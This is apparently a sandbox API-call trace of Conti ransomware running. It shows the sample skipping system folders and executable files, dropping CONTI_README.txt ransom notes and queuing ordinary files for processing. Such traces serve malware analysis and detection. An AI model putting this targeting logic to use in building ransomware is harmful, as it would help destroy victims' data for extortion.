	[0093.199] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1025", cAlternateFileName="")) returned 1
	[0093.200] lstrcmpiW (lpString1="1025", lpString2=".") returned 1
	[0093.200] lstrcmpiW (lpString1="1025", lpString2="..") returned 1
	[0093.200] lstrcmpiW (lpString1="1025", lpString2="tmp") returned -1
	[0093.200] lstrcmpiW (lpString1="1025", lpString2="winnt") returned -1
	[0093.200] lstrcmpiW (lpString1="1025", lpString2="Application Data") returned -1
	[0093.200] lstrcmpiW (lpString1="1025", lpString2="AppData") returned -1
	[0093.200] lstrcmpiW (lpString1="1025", lpString2="temp") returned -1
	[0093.200] lstrcmpiW (lpString1="1025", lpString2="thumb") returned -1
	[0093.200] lstrcmpiW (lpString1="1025", lpString2="$Recycle.Bin") returned 1
	[0093.200] lstrcmpiW (lpString1="1025", lpString2="$RECYCLE.BIN") returned 1
	[0093.200] lstrcmpiW (lpString1="1025", lpString2="System Volume Information") returned -1
	[0093.200] lstrcmpiW (lpString1="1025", lpString2="Program Files") returned -1
	[0093.200] lstrcmpiW (lpString1="1025", lpString2="Program Files (x86)") returned -1
	[0093.200] lstrcmpiW (lpString1="1025", lpString2="Boot") returned -1
	[0093.200] lstrcmpiW (lpString1="1025", lpString2="Windows") returned -1
	[0093.200] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.200] lstrlenW (lpString="1025") returned 4
	[0093.200] GetProcessHeap () returned 0x1720000
	[0093.200] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e5f0
	[0093.200] lstrcpyW (in: lpString1=0x175e5f0, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.200] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.200] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1025" | out: lpString1="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025"
	[0093.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0093.200] GetProcessHeap () returned 0x1720000
	[0093.200] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734a68
	[0093.200] lstrcpyW (in: lpString1=0x1734a68, lpString2="C:\\588bce7c90097ed212\\1025" | out: lpString1="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025"
	[0093.200] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1025", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1025\\*") returned="C:\\588bce7c90097ed212\\1025\\*"
	[0093.200] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0093.200] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.200] GetProcessHeap () returned 0x1720000
	[0093.200] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17bfa50
	[0093.200] lstrcpyW (in: lpString1=0x17bfa50, lpString2="C:\\588bce7c90097ed212\\1025" | out: lpString1="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025"
	[0093.200] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1025", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\"
	[0093.200] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1025\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1025\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1025\\CONTI_README.txt"
	[0093.200] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1025\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0093.203] GetProcessHeap () returned 0x1720000
	[0093.203] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfa50 | out: hHeap=0x1720000) returned 1
	[0093.203] WriteFile (in: hFile=0x2fc, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.204] CloseHandle (hObject=0x2fc) returned 1
	[0093.204] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b64b06e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e470
	[0093.204] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.204] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b64b06e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.204] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.204] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.204] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b64b06e, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b64b06e, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b64b06e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.204] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.204] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.204] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.204] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.204] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.204] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.204] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.204] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.204] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.204] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.204] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.204] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.204] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.204] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.204] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.204] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0093.205] lstrlenW (lpString="eula.rtf") returned 8
	[0093.205] GetProcessHeap () returned 0x1720000
	[0093.205] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d148
	[0093.205] lstrcpyW (in: lpString1=0x173d148, lpString2="C:\\588bce7c90097ed212\\1025" | out: lpString1="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025"
	[0093.205] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1025", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\"
	[0093.205] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1025\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned="C:\\588bce7c90097ed212\\1025\\eula.rtf"
	[0093.205] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c0c38) returned 1
	[0093.205] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.205] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.205] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.205] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.205] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.205] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.205] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.205] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.205] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.205] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.205] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.205] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26
	[0093.205] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.205] GetProcessHeap () returned 0x1720000
	[0093.205] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17bfa50
	[0093.205] lstrcpyW (in: lpString1=0x17bfa50, lpString2="C:\\588bce7c90097ed212\\1025" | out: lpString1="C:\\588bce7c90097ed212\\1025") returned="C:\\588bce7c90097ed212\\1025"
	[0093.205] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1025", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1025\\") returned="C:\\588bce7c90097ed212\\1025\\"
	[0093.205] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1025\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml"
	[0093.205] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c0e70) returned 1
	[0093.205] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.205] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.205] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.205] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.205] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.205] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
	[0093.205] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".dll") returned=".dll"
	[0093.206] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0093.206] GetProcessHeap () returned 0x1720000
	[0093.206] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734a68 | out: hHeap=0x1720000) returned 1
	[0093.206] FindClose (in: hFindFile=0x175e470 | out: hFindFile=0x175e470) returned 1
	[0093.206] GetProcessHeap () returned 0x1720000
	[0093.206] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x175e5f0 | out: hHeap=0x1720000) returned 1
	[0093.206] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x45, dwReserved1=0xffffed8b, cFileName="1028", cAlternateFileName="")) returned 1
	[0093.206] lstrcmpiW (lpString1="1028", lpString2=".") returned 1
	[0093.206] lstrcmpiW (lpString1="1028", lpString2="..") returned 1
	[0093.206] lstrcmpiW (lpString1="1028", lpString2="tmp") returned -1
	[0093.206] lstrcmpiW (lpString1="1028", lpString2="winnt") returned -1
	[0093.206] lstrcmpiW (lpString1="1028", lpString2="Application Data") returned -1
	[0093.206] lstrcmpiW (lpString1="1028", lpString2="AppData") returned -1
	[0093.206] lstrcmpiW (lpString1="1028", lpString2="temp") returned -1
	[0093.206] lstrcmpiW (lpString1="1028", lpString2="thumb") returned -1
	[0093.206] lstrcmpiW (lpString1="1028", lpString2="$Recycle.Bin") returned 1
	[0093.206] lstrcmpiW (lpString1="1028", lpString2="$RECYCLE.BIN") returned 1
	[0093.206] lstrcmpiW (lpString1="1028", lpString2="System Volume Information") returned -1
	[0093.206] lstrcmpiW (lpString1="1028", lpString2="Program Files") returned -1
	[0093.206] lstrcmpiW (lpString1="1028", lpString2="Program Files (x86)") returned -1
	[0093.206] lstrcmpiW (lpString1="1028", lpString2="Boot") returned -1
	[0093.206] lstrcmpiW (lpString1="1028", lpString2="Windows") returned -1
	[0093.206] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21
	[0093.206] lstrlenW (lpString="1028") returned 4
	[0093.206] GetProcessHeap () returned 0x1720000
	[0093.206] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x36) returned 0x175e770
	[0093.206] lstrcpyW (in: lpString1=0x175e770, lpString2="C:\\588bce7c90097ed212" | out: lpString1="C:\\588bce7c90097ed212") returned="C:\\588bce7c90097ed212"
	[0093.206] lstrcatW (in: lpString1="C:\\588bce7c90097ed212", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\"
	[0093.206] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1028" | out: lpString1="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028"
	[0093.206] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028") returned 26
	[0093.206] GetProcessHeap () returned 0x1720000
	[0093.206] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x17345e8
	[0093.206] lstrcpyW (in: lpString1=0x17345e8, lpString2="C:\\588bce7c90097ed212\\1028" | out: lpString1="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028"
	[0093.206] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1028", lpString2="\\*" | out: lpString1="C:\\588bce7c90097ed212\\1028\\*") returned="C:\\588bce7c90097ed212\\1028\\*"
	[0093.206] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028") returned 26
	[0093.207] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0093.207] GetProcessHeap () returned 0x1720000
	[0093.207] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x58) returned 0x17bfab8
	[0093.207] lstrcpyW (in: lpString1=0x17bfab8, lpString2="C:\\588bce7c90097ed212\\1028" | out: lpString1="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028"
	[0093.207] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1028", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\"
	[0093.207] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1028\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\588bce7c90097ed212\\1028\\CONTI_README.txt") returned="C:\\588bce7c90097ed212\\1028\\CONTI_README.txt"
	[0093.207] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\CONTI_README.txt" (normalized: "c:\\588bce7c90097ed212\\1028\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0093.209] GetProcessHeap () returned 0x1720000
	[0093.209] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bfab8 | out: hHeap=0x1720000) returned 1
	[0093.209] WriteFile (in: hFile=0x2fc, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f61c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f61c*=0xa2, lpOverlapped=0x0) returned 1
	[0093.210] CloseHandle (hObject=0x2fc) returned 1
	[0093.210] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b64b06e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x175e470
	[0093.210] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0093.210] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x4b64b06e, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0093.210] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0093.210] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0093.210] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b64b06e, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4b64b06e, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4b6712cc, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0093.210] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0093.210] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0093.210] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0093.210] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0093.210] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0093.210] lstrcmpiW (lpString1="eula.rtf", lpString2=".") returned 1
	[0093.210] lstrcmpiW (lpString1="eula.rtf", lpString2="..") returned 1
	[0093.210] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.210] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.210] StrStrIW (lpFirst="eula.rtf", lpSrch=".exe") returned 0x0
	[0093.210] StrStrIW (lpFirst="eula.rtf", lpSrch=".dll") returned 0x0
	[0093.210] StrStrIW (lpFirst="eula.rtf", lpSrch=".lnk") returned 0x0
	[0093.210] StrStrIW (lpFirst="eula.rtf", lpSrch=".sys") returned 0x0
	[0093.210] StrStrIW (lpFirst="eula.rtf", lpSrch=".CONTI") returned 0x0
	[0093.210] StrStrIW (lpFirst="eula.rtf", lpSrch="CONTI_README.txt") returned 0x0
	[0093.210] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028") returned 26
	[0093.210] lstrlenW (lpString="eula.rtf") returned 8
	[0093.210] GetProcessHeap () returned 0x1720000
	[0093.210] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x48) returned 0x173d4b8
	[0093.210] lstrcpyW (in: lpString1=0x173d4b8, lpString2="C:\\588bce7c90097ed212\\1028" | out: lpString1="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028"
	[0093.211] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1028", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\"
	[0093.211] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1028\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned="C:\\588bce7c90097ed212\\1028\\eula.rtf"
	[0093.211] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c10a8) returned 1
	[0093.211] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0093.211] lstrcmpiW (lpString1="LocalizedData.xml", lpString2=".") returned 1
	[0093.211] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="..") returned 1
	[0093.211] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.211] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.211] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".exe") returned 0x0
	[0093.211] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".dll") returned 0x0
	[0093.211] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".lnk") returned 0x0
	[0093.211] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".sys") returned 0x0
	[0093.211] StrStrIW (lpFirst="LocalizedData.xml", lpSrch=".CONTI") returned 0x0
	[0093.211] StrStrIW (lpFirst="LocalizedData.xml", lpSrch="CONTI_README.txt") returned 0x0
	[0093.211] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028") returned 26
	[0093.211] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0093.211] GetProcessHeap () returned 0x1720000
	[0093.211] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x5a) returned 0x17bfab8
	[0093.211] lstrcpyW (in: lpString1=0x17bfab8, lpString2="C:\\588bce7c90097ed212\\1028" | out: lpString1="C:\\588bce7c90097ed212\\1028") returned="C:\\588bce7c90097ed212\\1028"
	[0093.211] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1028", lpString2="\\" | out: lpString1="C:\\588bce7c90097ed212\\1028\\") returned="C:\\588bce7c90097ed212\\1028\\"
	[0093.211] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1028\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml"
	[0093.211] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17c12e0) returned 1
	[0093.211] FindNextFileW (in: hFindFile=0x175e470, lpFindFileData=0x5c3f640 | out: lpFindFileData=0x5c3f640*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0093.211] lstrcmpiW (lpString1="SetupResources.dll", lpString2=".") returned 1
	[0093.211] lstrcmpiW (lpString1="SetupResources.dll", lpString2="..") returned 1
	[0093.211] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".CONTI") returned 0x0
	[0093.211] StrStrIW (lpFirst="SetupResources.dll", lpSrch="CONTI_README.txt") returned 0x0
	[0093.211] StrStrIW (lpFirst="SetupResources.dll", lpSrch=".exe") returned 0x0
